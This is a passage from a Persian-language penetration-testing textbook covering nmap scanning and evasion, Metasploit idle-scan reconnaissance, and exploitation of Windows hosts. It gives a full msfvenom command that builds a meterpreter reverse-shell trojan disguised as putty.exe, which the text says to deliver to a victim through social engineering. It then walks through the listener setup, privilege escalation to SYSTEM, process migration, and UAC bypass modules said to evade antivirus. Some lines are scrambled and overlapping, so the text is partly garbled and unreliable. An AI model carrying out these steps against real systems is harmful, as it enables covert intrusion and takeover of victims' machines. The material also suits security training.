52‬استفاده میکنیم‬ ‫دستور شماره ‪51‬‬ ‫نتایج شماره‪41‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪65‬‬‫زمانی که یک ‪ Firewall‬وجود داشته باشد و جلوی بستههای ‪ Icmp echo‬را بگیرد‪ ،‬بایستی اسکن در حالتی انجام شود که تارگت‬ ‫‪ ping‬نشود (همانند دستور شماره ‪)51‬‬‫‪root@linux-server:~# nmap -PN example.com‬‬ ‫دستور شماره ‪51‬‬ ‫نتایج شماره‪41‬‬ ‫برای اسکن آدرسهای ‪ IPV6‬از سوییچ ‪ -6‬همانند دستور شماره ‪ 52‬استفاده میکنیم‬‫‪root@linux-server:~#nmap -6 IPV.6‬‬ ‫دستور شماره ‪52‬‬ ‫نتایج شماره‪41‬‬ ‫برای ‪ ping‬کردن با استفاده از ‪ nmap‬از دستور شماره ‪ 53‬استفاده میکنیم‬‫‪root@linux-server:~# nmap -P example.com‬‬ ‫دستور شماره ‪53‬‬ ‫نتایج شماره‪41‬‬ ‫برای سرعت بخشیدن به اسکن و حالت ‪ Fast‬از دستور شماره ‪ 54‬استفاده میکنیم‬‫‪root@linux-server:~# nmap -F IP‬‬ ‫دستور شماره ‪54‬‬ ‫نتایج شماره‪41‬‬‫اگر بخواهیم دلیل ‪ nmap‬را از نتایجی که گزارش میدهد را مشاهده کنیم از دستور شماره ‪ 55‬استفاده میکنیم‬‫‪root@linux-server:~# nmap –reason IP‬‬ ‫دستور شماره ‪55‬‬ ‫نتایج شماره‪41‬‬‫نمایش پورتهای فقط باز یا آنهایی که احتمال ًا باز هستند با استفاده از دستور شماره ‪ 5۶‬انجام می شود‬‫‪root@linux-server:~# nmap –open IP‬‬ ‫دستور شماره ‪56‬‬ ‫نتایج شماره‪41‬‬‫اگر بخواهیم تمامی پکتهای رفت و بازگشت را مشاهده کنیم از دستور شماره ‪ 51‬استفاده میکنیم‬‫‪root@linux-server:~# nmap --packet –trace‬‬ ‫دستور شماره ‪57‬‬ ‫نتایج شماره‪41‬‬‫نشان دادن تمامی ‪ Interface‬ها و ‪ route‬که برای دیباگ کردن که خیلی مفید است توسط دستور شماره ‪ 52‬مشخص شده است‬‫‪root@linux-server:~# nmap --iflist‬‬ ‫دستور شماره ‪58‬‬ ‫نتایج شماره‪41‬‬ ‫در دستورات شماره ‪ 51‬تمامی روشهای مشخص کردن پورت بیان شده است‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪66‬‬‫‪root@linux-server:~# nmap –p x IP‬‬ ‫دستورات شماره ‪59‬‬‫‪root@linux-server:~# nmap -p T: x IP‬‬‫‪root@linux-server:~# nmap -p U:x IP‬‬ ‫نتایج شماره‪41‬‬ ‫اسکن پورت ‪x‬‬ ‫اسکن پورت ‪ TCP‬با شماره ‪x‬‬ ‫اسکن پورت ‪ UPD‬با شماره ‪x‬‬‫‪root@linux-server:~# nmap -p x1,x2 IP‬‬ ‫اسکن پورتهای ‪ x1‬و ‪x2‬‬‫‪root@linux-server:~# nmap -p x1-xn IP‬‬ ‫اسکن پورتهای ‪ x1‬تا ‪xn‬‬‫‪root@linux-server:~# nmap -p \"*\" IP‬‬ ‫اسکن تمامی پورتها‬ ‫با ترکیب دستورات بالا میتوان در هر حالتی اسکن را انجام داد‪.‬‬‫سریعترین روش برای اسکن یک ‪ collision domain‬یا سگمنت استفاده از دستور شماره شماره ‪ ۶2‬است‪.‬‬‫‪root@linux-server:~# nmap -T5 IP/x‬‬ ‫دستور شماره ‪61‬‬ ‫نتایج شماره‪41‬‬ ‫که ‪ x‬میتواند مقادیر مربوطه باشد‪.‬‬‫برای اینکه نسخه برنامههایی که به روی پورتهای مشخصشده باز هستند را ببینیم از دستور شماره ‪ ۶1‬استفاده میکنیم‬‫‪root@linux-server:~ # nmap -sV IP‬‬ ‫دستور شماره ‪61‬‬ ‫نتایج شماره‪41‬‬‫‪root@linux-server:~ # nmap -sU IP‬‬ ‫برای مشخص کردن سرویسهای ‪ UPD‬از دستور شماره ‪ ۶2‬استفاده میکنیم‬ ‫دستور شماره ‪62‬‬ ‫نتایج شماره‪41‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪67‬‬‫برای مشخص کردن اینکه کدام پروتکلهای ‪ IP‬مانند ‪ IPSec ،ICMP‬و یا ‪ IGMP‬بر روی تارگت پشتیبانی شده است از دستور‬ ‫شماره ‪ ۶3‬استفاده میشود‪.‬‬‫‪root@linux-server:~ # nmap -So IP‬‬ ‫دستور شماره ‪63‬‬ ‫نتایج شماره‪41‬‬‫اگر بخواهیم ‪ Firewall‬را ‪ bypass‬کنیم از سوییچهایی چون ‪ -sX, -sF, -sN‬استفاده میکنیم‪ .‬حال درباره این نوع اسکن توضیحات‬ ‫لازم را خواهیم داد‪.‬‬‫‪ : Null Scan‬در این نوع ‪ scan‬تمامی فلگها بدون مقدار یا همان صفر هستند‪ .‬ازآنجاییکه در این نوع اسکن هیچگونه پرچمی‬‫مقداردهی نشده است‪ .‬زمانی که تارگت آن را دریافت میکند چون نمیداند آن را چطور ‪ Handle‬کند‪ ،‬بسته را حذف میکند و‬‫درنتیجه اگر جوابی دریافت نشود نشاندهنده این است که پورت باز است و اگر جوابی با پرچم ‪ RST‬دریافت شود به معنای آن‬ ‫خواهد بود که پورت بسته است‪.‬‬ ‫برای ‪ Null Scan‬از دستور شماره ‪ ۶4‬استفاده میکنیم‬‫‪root@linux-server:~ # nmap -sN IP‬‬ ‫دستور شماره ‪64‬‬ ‫نتایج شماره‪41‬‬‫نکته مهم این است که اگر اسکنهای ‪ xmass‬و یا ‪ Null‬و یا ‪ FIN‬را علیه سیستم عامل ‪ windows‬به کار ببریم نتایج غلطی‬‫دریافت خواهیم کرد‪ .‬نتایج اسکن اینگونه خواهد بود که یا تمامی پورتها باز است و یا بسته‪ ،‬بنابراین این نوع اسکن تنها در‬ ‫محیطهای ‪ Linux‬کاربرد دارد‪.‬‬ ‫‪ : Xmass‬تمامی فلگها به مقدار یک تنظیم میشوند‪.‬‬ ‫‪ : FIN‬تنها فلگ ‪ FIN‬به مقدار یک تنظیم میشود‪.‬‬‫طبق ‪ RFC 793‬اگر یک پکت با یک پورت مقصد مشخص رسید‪ ،‬اگر پورت بسته باشد بایستی یک پکت با مقدار ِست (‪ )set‬شده‬ ‫‪ RST‬ارسال شود و اگر پکت یک پکت غیرعادی بود مانند پکتهای ‪ FIN‬یا ‪ Null‬بایستی پکت حذف و هیچ جوابی ارسال نشود‪.‬‬ ‫در ادامه دستوراتی را که مربوط به اسکن پنهانی است را توضیح خواهیم داد‪.‬‬ ‫‪ 4-2-2‬اسکن پنهانی‬ ‫برای جعل کردن آدرس ‪ mac‬میتوان از دستور شماره ‪ ۶5‬استفاده کرد‬‫‪root@linux-server:~ # nmap --spoof –mac x IP‬‬ ‫دستور شماره ‪65‬‬ ‫نتایج شماره‪41‬‬ ‫مقدار ‪ x‬میتواند یا ‪( 2‬صفر) باشد و یا ‪cisco‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪68‬‬‫در حالت اول بهصورت ‪ Random‬یک آدرس ‪ mac‬ایجاد میکند و در حالت دوم از آدرسهای متعلق به ‪ cisco‬استفاده میکند‪.‬‬‫برای اینکه تعداد ‪ x‬بایت به پکت ارسالی اضافه شود از دستور شماره ‪ ۶۶‬استفاده میکنیم‬‫‪root@linux-server:~ # nmap --date –length x‬‬ ‫دستور شماره ‪66‬‬ ‫نتایج شماره‪41‬‬‫برای مشاهد تغییرات میتوان از ‪ wireshark‬استفاده کرد و به مقدار ‪ total length‬در لایه ‪ IP‬توجه کرد‪ .‬بهعبارتدیگر اگر از‬‫دستور شماره ‪ ۶1‬استفاده کنیم و مقدار ‪ 60 total length‬باشد در حالتی که از دستور شماره ‪ ۶2‬استفاده کنیم مقدار ‪total‬‬ ‫‪ length‬برابر ‪ 80‬خواهد بود‪.‬‬‫‪root@linux-server:~ # nmap -p 80 IP‬‬ ‫دستور شماره ‪67‬‬ ‫نتایج شماره‪41‬‬‫‪root@linux-server:~ # nmap -p 80 --data –length 20 IP‬‬ ‫دستور شماره ‪68‬‬ ‫نتایج شماره‪41‬‬‫برای به حداقل رساندن زمان ارسال هر پکت توسط ‪ nmap‬از دستور شماره ‪ ۶1‬استفاده میکنیم‬‫‪root@linux-server:~ # nmap -T paranoid IP‬‬ ‫دستور شماره ‪69‬‬ ‫نتایج شماره‪41‬‬‫اگر تعداد ‪ n‬تارگت را برای ‪ scan‬مشخص کنیم و بخواهیم ابتدا ‪ x‬تا از ‪ n‬تارگت را اسکن کند سپس ‪ x‬تای بعدی از دستور شماره‬ ‫‪ 12‬استفاده میکنیم‬‫‪root@linux-server:~ # nmap -max –host group x IP range‬‬ ‫دستور شماره ‪71‬‬ ‫نتایج شماره‪41‬‬‫برای اینکه تارگت نتواند آدرس ‪ IP‬ما را کشف کند میبایست از دو طریق اسکن را انجام داد‪ .‬روش اول ‪ decoy scan‬است و دیگری‬ ‫‪ Idle scan‬که هرکدام را شرح خواهیم داد‪.‬‬ ‫‪Decoy scan1-4-2-2‬‬‫این نوع بدان معناست که طوری وانمود کنیم که علاوه بر ‪ IP‬ما که مشغول اسکن تارگت است و توسط ‪ IDS‬رصد میشود چندین‬ ‫‪ IP‬دیگر نیز همزمان در حال اسکن کردن همان تارگت هستند‪ .‬در دستور شماره‪ 11‬دستور اسکن ‪ Decoy‬مشخص شده است‬‫‪root@linux-server:~ # nmap -D IP1 , IP2 , IP3 , … , IPn target ID‬‬ ‫دستور شماره ‪71‬‬ ‫نتایج شماره‪41‬‬‫در دستور بالا علاوه بر اینکه ‪ IP‬اصلی ما در سیستم هدف ثبت خواهد شد ‪ IP‬های یک تا ‪ n‬نیز ثبت میشوند‪.‬‬

69 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ IDLe ‫ اسکن‬2-4-2-2.‫ متا را اجرا کرده و وارد آن میشویم‬12 ‫ توسط دستورات شماره‬.‫ ابتدا بایستی تا متا اسپویلت را اجرا کنیم‬IDLe ‫برای اسکن‬root@linux-server:~ # service postgresgl start 72 ‫دستورات شماره‬root@linux-server:~ ## service metadploit startroot@linux-server:~ #msfconsole 41‫نتایج شماره‬‫ میتوان از‬.‫ را مشخص کنیم‬Intermental ‫ هستند و در کلاس‬zombie ‫ که در حالت‬IP ‫ابتدا بایستی یک سری آدرسهایی‬‫ مشخص‬12‫ هستند و با استفاده از دستورات شماره‬Intermental ‫ استفاده کرد و آنهایی را که در کلاس‬IP ‫بلوکهای تصادفی‬ ‫می شوند را بدست آوریم‬msf > use auxiliary/scanner/ip/ipidseq 72 ‫دستورات شماره‬ 41‫نتایج شماره‬msf auxiliary(ipidseq) > show optionsModule options (auxiliary/scanner/ip/ipidseq):ame Current Setting Required Description---- --------------- -------- -----------INTERFACE no The name of the interfaceRHOSTS yes The target address range or CIDR identifierRPORT 80 yes The target portSNAPLEN 65535 yes The number of bytes to captureTHREADS 1 yes The number of concurrent threadsTIMEOUT 500 yes The reply read timeout in millisecondsmsf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24RHOSTS => 192.168.1.0/24msf auxiliary(ipidseq) > set THREADS 50THREADS => 50msf auxiliary(ipidseq) > run[*] 192.168.1.1's IPID sequence class: All zeros[*] 192.168.1.2's IPID sequence class: Incremental![*] 192.168.1.10's IPID sequence class: Incremental![*] 192.168.1.104's IPID sequence class: Randomized[*] 192.168.1.109's IPID sequence class: Incremental![*] 192.168.1.111's IPID sequence class: Incremental![*] 192.168.1.114's IPID sequence class: Incremental![*] 192.168.1.116's IPID sequence class: All zeros[*] 192.168.1.124's IPID sequence class: Incremental![*] 192.168.1.151's IPID sequence class: Incremental!

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪70‬‬‫حال آن دسته از آدرسهای ‪ IP‬که برای آنها عبارت !‪ IPID sequence class: Incremental‬چاپ میشود و همچنین هاست در حالت‬‫‪ live‬قرار دارد که با ‪ ping‬کردن مشخص میشود را میتوان به عنوان یک ‪ idle‬در نظر گرفت و از آنها در ‪ nmap idle‬استفاده‬ ‫کرد‪ .‬با استفاده از دستورشماره ‪ 13‬با ‪ nmap‬اسکن را انجام میدهیم‪.‬‬‫‪ idle system -Pn target IP‬آدرس ‪root@linux-server:~ # nmap -sI IP‬‬ ‫دستور شماره ‪73‬‬ ‫نتایج شماره‪41‬‬‫‪root@linux-server:~ ## service metadploit start‬‬ ‫برای اینکه سرورهای ‪ DNS‬اطلاعات ما را لاگ نکنند میتوان با استفاده از دستور شماره ‪ 14‬اسکن را در حالت بدون استفاده از‬‫‪root@linux-server:~ #msfconsole‬‬ ‫‪ DNS‬انجام داد‬‫‪root@linux-server:~ # nmap -n IP‬‬ ‫دستور شماره ‪74‬‬ ‫نتایج شماره‪41‬‬‫اگر چندین هاست را برای اسکن مشخص کردهایم‪ ،‬میتوان با استف‪t‬ا‪r‬ده‪ta‬از‪ s‬د‪it‬ست‪lo‬ور‪dp‬شم‪a‬ا‪t‬ر‪e‬ه ‪ 1m5‬ا‪e‬س‪ic‬ک‪v‬ن‪ r‬آ‪se‬نه‪#‬ا‪#‬را ب~‪:‬ه‪r‬ص‪e‬و‪v‬ر‪er‬ت‪s‬ر‪-‬ن‪x‬د‪u‬و‪n‬م‪i‬ا‪l‬نج@ا‪t‬م‪oo‬دا‪r‬د‪.‬‬‫‪root@linux-server:~ #msfconsole‬‬ ‫دستور شماره ‪75‬‬‫‪root@linux-server:~ # nmap --random -hosts‬‬ ‫نتایج شماره‪41‬‬‫‪root@linux-server:~ ## service metadploit start‬‬‫‪root@linux-server:~ #msfconsole‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪71‬‬ ‫فصل سه‬ ‫بهره برداری – ‪Exploit‬‬ ‫در این فصل مباحثی بیان می شوند که مربوط است به استفاده از نتایج فصل قبل و نفوذ به سیستم و افزایش‬ ‫سطح دسترسی‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪72‬‬ ‫‪ 3‬بهره برداری ‪Exploit -‬‬ ‫در فصلهای قبل که مباحث شناسایی در حالتهای ‪ Active‬و ‪ Passive‬مطرح شدند متخصص امنیت میتوانست نقاط ضعف را‬ ‫برای رسیدن به اهداف خود که در حقیقت امن سازی سیستم است شناسایی کند‪ .‬حال برای اینکه به نتایج بهدستآمده از قبل‬ ‫رنگ عملی زده شود بایستی سیستم یا برنامه تحت وب و یا هرگونه بسته دیگری ‪ exploit‬شود‪ .‬ابتدا بایستی مسائل زیر را در‬ ‫‪ exploit‬در نظر گرفت‬ ‫‪ )1‬آیا هدف بهدرستی مشخصه بندی شده است‬ ‫‪ )2‬آیا نوع حمله مشخصه بندی شده است؟ اگر نوع حمله مشخصه بندی نشده باشد میتواند باعث بروز مشکلات و آسیبهای‬ ‫جدی به سیستمها شود‬ ‫‪ )3‬نوع ‪ exploit‬راه دور (‪ )remote‬است یا محلی (‪ .)local‬اگر راه دور است احتمال شناسایی توسط هدف کمتر خواهد بود‬ ‫و اگر محلی است شانس ‪ exploit‬خیلی بیشتر و احتمال فاش شدن هویت مهاجم نیز بیشتر است‪.‬‬ ‫‪ )4‬دسترسی زمانی به هدف بعد از ‪ exploit‬چقدر می باشد‪ .‬آیا دسترسی دائمی است یا کوتاهمدت‪.‬‬ ‫‪ )5‬زمان مورد نیاز برای ادامه فعالیت‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪73‬‬ ‫حال در این فصل ما موارد زیر ر ا بررسی خواهیم کرد‬ ‫‪ )1‬مدلسازی تهاجم‬ ‫‪ )2‬استفاده از منابع آسیبپذیری محلی یا آنلاین‬ ‫‪ )3‬اصول استفاده از ‪metasploit‬‬ ‫‪ )4‬عبور از سد ‪ IDS‬و آنتیویروسها‬ ‫‪ 1-3‬مدلسازی تهاجم‬ ‫در بخشهای قبل اطلاعات لازم و آسیبپذیریها مشخص شدند‪ .‬حال بایستی بر اساس اطلاعات بهدستآمده و روشهای حمله یک‬ ‫استراتژی قدرتمند و هوشمند را مدلسازی کرد‪ .‬اصول ًا اهداف را به لحاظ اینکه چطور میتوانند متخصص امنیت را به اهدافش برساند‬ ‫به ‪ 3‬دسته تقسیم میشوند که عبارت است از‬ ‫‪ :Primary Target .1‬این نوع اهداف بعد از حمله هکر بلافاصله اطلاعات لازم را نمایش میدهند و مهاجم یا متخصص تست‬ ‫نفوذ را به اهدافش میرسانند‪ .‬مانند نفوذ به ‪GGSN‬‬ ‫‪ : Secondary Target .2‬این نوع اهداف اطلاعاتی را به مهاجم میدهند که در به ثمر رساندن حملاتی که به سیستم های‬ ‫نوع قبل میشود مفید است مانند حسابهای کاربری و غیره‪ .‬بهعنوانمثال نفوذ به دیتابیس سایتی که در آن اطلاعات‬ ‫نفوذ به ‪ main system‬وجود دارد‪.‬‬ ‫‪ :Tertiary Target .3‬این نوع اهداف ممکن است با اهداف حمله بیمربوط باشند اما میتوان از آنها اطلاعاتی را به دست‬ ‫آورد که در افزایش سطح دسترسی ما را یاری میرساند‪.‬‬ ‫‪ 2-3‬استفاده از منابع محلی و آنلاین برای مشاهده آسیبپذیریها‬ ‫اگر باگی کشفشده باشد و برای آن کد ‪ 0day‬وجود داشته باشد میتوان آن را در لیست شماره ‪ 3‬مشاهده کرد‪.‬‬ ‫همانطوری که در فصل یک مشخص کردیم یک دیتابیس که بایستی هرماه آپلود شود نیز در کالی وجود دارد که کدهای سایت‬ ‫‪ exploit –db‬در آن قرار دارد‪ .‬برای جستوجو در این دیتابیس میتوان از دستور شماره ‪ 1‬استفاده کرد‪.‬‬

74 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬‫ استفاده میکنیم و نتایج را در‬2 ‫ برای این کار از دستور شماره‬.‫ را مشاهده کنیم‬SSL ‫فرض کنید میخواهیم تمام کدهای مربوط به‬ .‫ مشاهده میکنیم‬4 ‫شکل شماره‬root@linux-server:~ # seachsploit ‫نام واژه‬ 1 ‫دستور شماره‬root@linux-server:~ # seachsploit SSL 41‫نتایج شماره‬http://web.nvd.nist.gov/view/vuln/search 2 ‫دستور شماره‬root@linux-server:~ ## service metadploit start 41‫نتایج شماره‬http://secunia.com/community/ 1 ‫لیست شماره‬root@linux-server:~ #msfconsolehttp://www.osvdb.org/search/advsearchrhottopt:@//lpinaucxk-estesrtovermr:~se#c#ursiteyr.cvoicme/ metadploit startrhottopt:@//lwinwuwx-.sseercvuerrit:y~fo#cmuss.fccoomn/svoulelnerabilitieshttp://www.db-exploit.comroot@linux-server:~ ## service metadploit startroot@linux-server:~ #msfconsole4 ‫شکل شماره‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪75‬‬ ‫بعد از پیدا کردن کد موردنظر بایستی آن را به پوشه ‪ /tmp‬برده و در آنجا بسته به نوع زبان برنامه آن را کامپایل کرده و اجرا کنیم‪.‬‬ ‫در دستورات شماره‪ 5‬روش کامپایل هر نوع کد بیان شده است‬ ‫دستورات شماره ‪5‬‬ ‫اگر به زبان ‪ Perl‬باشد بهصورت‬ ‫‪Perl Filename.pl‬‬ ‫کامپایل میشود‪ .‬اگر به زبان ‪ ruby‬باشد بهصورت‬ ‫‪ruby filename.rb‬‬ ‫کامپایل می شود‪.‬برای کامپایل کردن کدهای ‪ C‬بهصورت زیر عمل میکنیم‬ ‫‪gcc filename.c -O filename‬‬ ‫که ‪ gcc‬مخفف ‪ GNU compiler collection‬است‪ .‬برای کامپایل برنامه های پایتون نیز به صورت زیر عمل می کنیم‬ ‫‪Python filename.py‬‬ ‫در ادامه این فصل موارد زیر را بررسی خواهیم کرد‬ ‫‪ )1‬نحوه دور زدن ‪ user account control‬در ویندوز یا همان ‪UAC‬‬ ‫‪ )2‬نحو یک ارزیابی سریع از سیستمی که هک شده است‬ ‫‪ )3‬نحوه به دست آوردن اطلاعات مهم از یک سیستم که هک شده است‬ ‫‪ )4‬نحوه ایجاد حسابهای کاربری جدید‬ ‫‪ )5‬نحوه استفاده از متا در فعالیتهای ‪Post-Explitation‬‬ ‫‪ )۶‬نحوه ‪ Horizontal, Vertical escalation‬در شبکه‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪76‬‬ ‫‪ 3-3‬دور زدن ‪UAC‬‬‫در ویندوز ‪ vista‬و نسخههای بالاتر‪ ،‬ماکروسافت یک کنترلکننده امنیتی ایجاد کرده است تا اجرای پردازشها در سه سطح محدود‬ ‫شود که این سه سطح عبارتاند از‬ ‫‪ High )1‬که در سطح ‪ admin‬است‬ ‫‪( Medium )2‬توسط کاربر لاگین شده)‬ ‫‪ Low )3‬برنامههایی هستند که اگر به خطر هم بیافتد کوچکترین آسیبی به سیستم وارد نمیکنند (با احتمال بالا)‬ ‫‪ UAC‬دارای چهار نوع تنظیم است که عبارتاند از‬ ‫‪Always notify )1‬‬ ‫همواره نسبت به تغییرات روی برنامهها هشدار میدهد و نیاز به تأیید دارد‪ .‬این یعنی بهصورت خودکار نمیتوان فعالیتی را برای‬ ‫تغییر برنامهها انجام داد‪ ،‬زیرا این کار به تأیید کاربری که پشت سیستم نشسته است نیاز دارد‪.‬‬ ‫‪Notify me when program try to make changes to my computer (default) )2‬‬ ‫فقط زمانی هشدار می دهد که قرار است برنامه ای نصب شود‬ ‫‪Notify me when program try to make changes to my computer (do not dim my desktop) )3‬‬ ‫عین حالت ‪2‬‬ ‫‪Never notify )4‬‬ ‫هیچ گاه هشداری نمی دهد‬ ‫زمانی که سیستمی هک شده است با استفاده از دستور شماره‪ ۶‬میتوان سطح کنترلکننده امنیتی را مشخص کرد‬ ‫دستور شماره ‪6‬‬‫‪root@linux-server:~ # Whoami groups‬‬‫در شکل شماره ‪ 1‬نتایج استفاده از این دستور در سیستمی که هک شده است مشخص است‬‫‪root@linux-server:~ ## service metadploit start‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪77‬‬‫شکل شماره ‪7‬‬‫فرض کنید توسط روشهای هک مانند تروجان و یا ‪ command Injection‬و یا حتی ‪ SQL Injection‬از یک سیستم شل گرفتهایم‪.‬‬‫به عنوان مثال می توان در نسخه های جدید کالی لینوکس از دستور شماره ‪ 2‬استفاده کرد و یک تروجان ساخت و آنرا در اختیار‬ ‫قربانی قرار داد‬‫‪root@linux-server:~ # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp‬‬‫‪LHOST=192.168.1.13 LPORT=2222 -b \"\x00\" -f exe -o putty.exe‬‬ ‫دستور شماره ‪8‬‬‫بعد از ارسال تروجان به قربانی که از روشهای مهندسی اجتماعی بهرهمند میشویم‪ ،‬از دستورات شماره‪ 1‬برای شنود پورتی که‬ ‫برای تروجان و ایجاد شل در نظر گرفتیم استفاده میکنیم‬‫‪rroooott@@lilninuxu-xs-esrevervr:e~r:#~##m#ssfceornvsicolee metadploit start‬‬ ‫دستورات شماره‪9‬‬‫‪rmosoft@> ulisneuexx-psleoritv/emru:~lti/#hmansdflceronsole‬‬‫‪msf > set payload windows/meter preter/reverse_tcP‬‬‫‪msf > set LHOST 192.168.1.13‬‬‫‪msf > set LPORT 2222‬‬‫‪msf > exploit -j‬‬‫‪[*] started reverse handler on 192.168.252.128: 2222‬‬‫‪[*] starting the payload handler‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪78‬‬ ‫بهمحض اینکه قربانی بر روی برنامه کلیک کند شل گرفته میشود‪.‬‬ ‫‪ 1-3-3‬افزایش سطح دسترسی‬‫فرض کنید در محیط ‪ meterpreter‬هستیم‪ .‬حال از دستور ‪ background‬استفاده میکنیم تا یک ماژول دیگر را برای افزایش‬ ‫سطح دسترسی در نشست فعلی ایجاد کنیم (مطابق با دستورات شماره ‪ 12‬و شکلهای شماره ‪ 11‬و ‪)12‬‬ ‫دستورات شماره ‪11‬‬‫‪msf (handler) >use exploit/windows/local/ask‬‬‫‪msf (ask) > info‬‬‫شماره نشست فعلی ‪msf (ask) > set session x‬‬‫‪msf (ask) > set TECHNIQUE PSH‬‬‫‪msf (ask) > run‬‬ ‫برای مشخص کردن شماره نشست فعلی از دستور زیر استفاده می کنیم‬‫‪msf (handler) > sessions -i‬‬ ‫شکل شماره ‪11‬‬ ‫شکل شماره ‪12‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪79‬‬ ‫با اجرای این دستور افزایش سطح دسترسی را خواهیم داشت‪ .‬بعد از اجرای این دستور یک نشست جدید ایجاد میشود یعنی اگر‬ ‫شماره نشست قبلی ‪ i‬بود‪ ،‬شماره نشست فعلی ‪ i+1‬است‪ .‬اگر در نشست قبلی در محیط ‪ meterpreter‬دستور ‪ getuid‬را وارد کنیم‬ ‫و در محیط جدید که افزایش سطح دسترسی را داشتهایم نیز دستور فوق را اجرا کنیم متوجه افزایش سطح کاربری از عادی به ادمین‬ ‫سیستم خواهیم شد‪ .‬حال میتوان برای افزایش سطح دسترسی از ادمین به سیستم از دستور ‪ getsystem‬استفاده کرد‪ ،‬مطابق با‬ ‫شکل شماره ‪13‬‬ ‫شکل شماره ‪13‬‬‫همانطوری که در شکل شماره ‪ 13‬مشخص است بعد از اجرای دستور ‪ getsystem‬و واردکردن دستور ‪ getuid‬متوجه میشویم‬ ‫که سطح دسترسی ما به ‪ system‬تغییر کرده است‪.‬‬‫فرض کنید بعد از گذشت چند دقیقه قربانی برنامه ‪ putty‬را ببندد‪ .‬با بستن این برنامه دسترسی ما نیز قطع میشود‪ .‬برای مقابله با‬‫چنین مشکلی ما یک دستور کارا و مهم خواهیم داشت به نام ‪ migrate‬که پروسه در حال اجرا را از ‪ putty‬به یک پروسه دیگر که‬‫همواره در حال اجرا است تبدیل میکند‪ .‬برای مشاهده لیست تمامی پروسهها از دستور ‪ ps‬استفاده میکنیم‪ .‬بنابراین با فرض اینکه‬‫میخواهیم پروسه را به ‪ SVChost.exe‬تغییر دهیم و شماره ‪ PID‬آن ‪ 42۶2‬است از دستور شماره ‪ 14‬استفاده می کنیم و نتایج در‬ ‫شکل شماره ‪ 15‬مشخص شده است‬ ‫دستور شماره ‪14‬‬‫‪meterpreter > migrate 4068‬‬ ‫شکل شماره ‪15‬‬ ‫‪root@linux-server:~ ## service metadploit start‬‬‫همانطوری که در شکل شماره ‪ 15‬مشخص است نتایج تغییر پروسه موفقیت آمیز بوده ا‪le‬س‪so‬ت‪n.‬ع‪o‬ل‪fc‬ت‪s‬این‪m‬ک‪#‬ه ب~ی‪:‬ا‪er‬ن‪rv‬ش‪e‬د‪-s‬با‪ x‬ب‪u‬س‪in‬ت‪l‬ن@‪purottoyt‬‬‫سطح دسترسی ما قطع میشود این است که بار اول با اجرای ‪ putty‬در سیستم قربانی پروسه ‪ Powershell‬اجرا شد که با بستن‬ ‫آن این پروسه نیز بسته میشود‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪80‬‬‫زمانی که از ماژول ‪ local/ask‬استفاده میکنیم اگر در بخش تنظیمات ‪ UAC‬مقدار ‪ never notify‬قرار دادهشده باشد هیچ پنجرهای‬‫مبنی بر تأیید تارگت نسبت به یک رفتار مخرب پنهانی نیاز نیست اما اگر در ‪ 3‬سطح بالاتر باشد تأیید کاربر نیز نیاز است‪ .‬اگر‬‫بخواهیم درحالت کلی پروسه افزایش سطح دسترسی را بدون تأیید کاربر نسبت به تنظیمات یا تغییرات در سیستم ایجاد کنیم از‬ ‫دستورات شماره ‪ 1۶‬استفاده می کنیم‬ ‫دستورات شماره ‪16‬‬‫‪msf exploit(ask) > use exploit/windows/local/bypassuac‬‬‫شماره نشست جاری ‪msf exploit(bypassuac) > set session x‬‬‫‪msf exploit(bypassuac) > set TECHNIQUE PSH‬‬‫‪msf exploit(bypassuac) > run‬‬‫این دستور یک نشست جدید ایجاد میکند‪ .‬حال میتوان افزایش سطح دسترسی را با اجرای ماژول ‪ local/ask‬بدون اینکه هیچ‬‫پنجرهای مبنی بر تأیید کاربر وجود داشته باشد انجام داد‪ .‬لازم است توجه کنیم که در زمان اجرای ماژول ‪ local/ask‬شماره نشست‬ ‫آخری که حاصل ماژول ‪ bypass‬بوده است باید وارد شود‪.‬‬‫حال فرض کنید در ‪ windows 7‬آنتیویروس جلوی متد دور زدن ‪ UAC‬بیانشده در دستورات شماره ‪ 1۶‬را بگیرد‪ .‬در این حالت‬ ‫میتوان از دستورات شماره ‪ 11‬استفاده کرد‬ ‫دستورات شماره ‪17‬‬‫‪msf exploit(ask) > exploit/windows/local/bypassuac_injection‬‬‫‪msf exploit(bypassuac_injection) >> set session x‬‬ ‫شماره نشست جاری‬‫‪msf exploit(bypassuac_injection) >> run‬‬‫در این دستور شماره نشست اولین حمله را وارد میکنیم سپس بعد از اجرا بهصورت پنهانی برای یک نشست جدید ‪ UAC‬را غیرفعال‬ ‫میکند‪ .‬این روش آنتیویروسهای بسیاری را بایپس میکند‪.‬‬ ‫‪ 4-3‬بررسی سیستم قربانی‬ ‫بهمحض اینکه یک 